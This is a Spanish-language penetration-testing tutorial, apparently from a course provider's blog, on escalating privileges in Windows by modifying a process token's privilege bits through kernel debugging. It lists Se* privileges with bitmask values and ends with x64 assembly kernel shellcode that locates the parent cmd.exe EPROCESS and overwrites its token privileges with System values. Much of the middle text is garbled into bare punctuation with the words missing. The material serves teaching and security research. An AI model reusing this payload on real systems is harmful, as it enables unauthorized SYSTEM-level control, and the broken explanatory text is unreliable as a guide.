El experto de OTUS - Alexander Kolesnikov compartió con nosotros un artículo útil, que escribió específicamente para estudiantes del curso "Pentest. Práctica de pruebas de penetración" .
Nosotros, a su vez, invitamos a todos a participar en una lección de demostración gratuita sobre el tema: "Recopilación de información de Windows AD, escalada de privilegios. Exploits y vulnerabilidades de los últimos 5 años".
El artículo anterior discutió cómo los exploits utilizan la técnica de copia de token para escalar privilegios. En este artículo, intentaremos considerar otra técnica para modificar tokens y también intentaremos averiguar cómo se establecen los privilegios que se colocan en el Token principal.
Todos los ejemplos en el artículo son solo para fines informativos, y si desea repetir los experimentos, utilice una máquina virtual, ya que algunas de las acciones pueden dañar su máquina en funcionamiento. Todos los experimentos se realizan únicamente con fines de investigación.
Configuración del banco de pruebas
Para los experimentos, son adecuadas un par de máquinas virtuales que funcionan a través de una red NAT. Dos porque no hay otra forma de depurar el kernel del sistema operativo. Y la red NAT, para que haya símbolos de depuración, es más fácil y rápido buscar datos sin código fuente. La configuración del depurador está disponible en Internet, pero aún debajo habrá un par de líneas como se hace para el sistema operativo Windows 10 1909.
1. Instale el depurador. Para el sistema operativo Windows, solo hay Windbg Preview, instálelo:
2. Transferimos el sistema operativo de destino al modo de depuración:
Reiniciamos el sistema. Y abra la segunda máquina, que contendrá el depurador:
Después de reiniciar el sistema:
Windbg Preview , . . .
Token
, , , Primary Token. , Se* . , , :
SeAssignPrimaryToken
SeAudit
SeBackup
SeChangeNotify
SeCreateToken
SeDebug
SeLoadDriver
SeLockMemory
SeManageVolume
SeRestore
SeSecurity
SeTakeOwnership
, , . , “Security Descriptor”:
System. — dx @$cursession.Processes[4].KernelObject.Token
EXFAST_REF , , :
System:
, “Security Descriptor” , . :
, , :
- , BSOD. Windows , Windows 10 1607. , BSOD, “Security Descriptor” . , :
BSOD? , . , :
1. , :
2. cmd.exe
:
3. . :
, . - , - Integrity Levels , .
? . , : 0x1
BSOD , , . , , . , - — 0x100000
.
:
SeDebugPrivilege - 0x100000
SeAuditPrivilege - 0x200000
SeSystemEnvironmentPrivilege - 0x400000
SeCreatePermanentPrivilege - 0x010000
SeSystemtimePrivilege - 0x001000
SeSecurityPrivilege - 0x000100
SeLockMemoryPrivilege - 0x000010
, 6 . , , shellcode, , , . SEPTOKEN_PRIVILEGES _SEPTOKENPRIVILEGES+0x8.
— System , , .
netstat -ab
, . ? . , Windows , System , :
, , payload :
[BITS 64]
start:
mov r9, [gs:0x188] ;KPROCESS/currentThread
mov r9, [r9+0x220] ;EPROCESS KTHREAD
mov r8, [r9+0x3e8] ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9
loop1:
mov rax, [rax + 0x2f0]
sub rax, 0x2f0 ;KPROCESS
cmp [rax + 0x2e8],r8 ; ProcessId
jne loop1
mov rcx, rax ; PID EPROCESS
add rcx, 0x360
mov rax, [rcx]
and rax, 0xFFFFFFFFFFFFFFF0
mov r8, 0x1e73deff20 ;System
mov [rax+0x48],r8 ;
ret